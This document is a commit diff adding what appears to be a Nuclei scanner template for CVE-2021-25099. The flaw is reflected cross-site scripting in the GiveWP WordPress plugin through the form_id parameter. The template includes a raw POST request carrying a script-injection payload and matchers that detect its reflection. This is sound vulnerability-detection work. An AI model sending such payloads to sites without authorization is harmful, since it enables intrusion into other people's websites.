Create CVE-2021-25099.yaml

cves/2021/CVE-2021-25099.yaml

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+id: CVE-2021-25099
+
+info:
+  name: Give < 2.17.3 - Unauthenticated Reflected Cross-Site Scripting
+  author: theamanrawat
+  severity: medium
+  description: |
+    The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
+  reference:
+    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
+    - https://wordpress.org/plugins/give/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-25099
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve,cve2021,xss,wpscan,wordpress,wp-plugin,give,unauth
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "<script>alert(document.domain)</script>")'
+        condition: and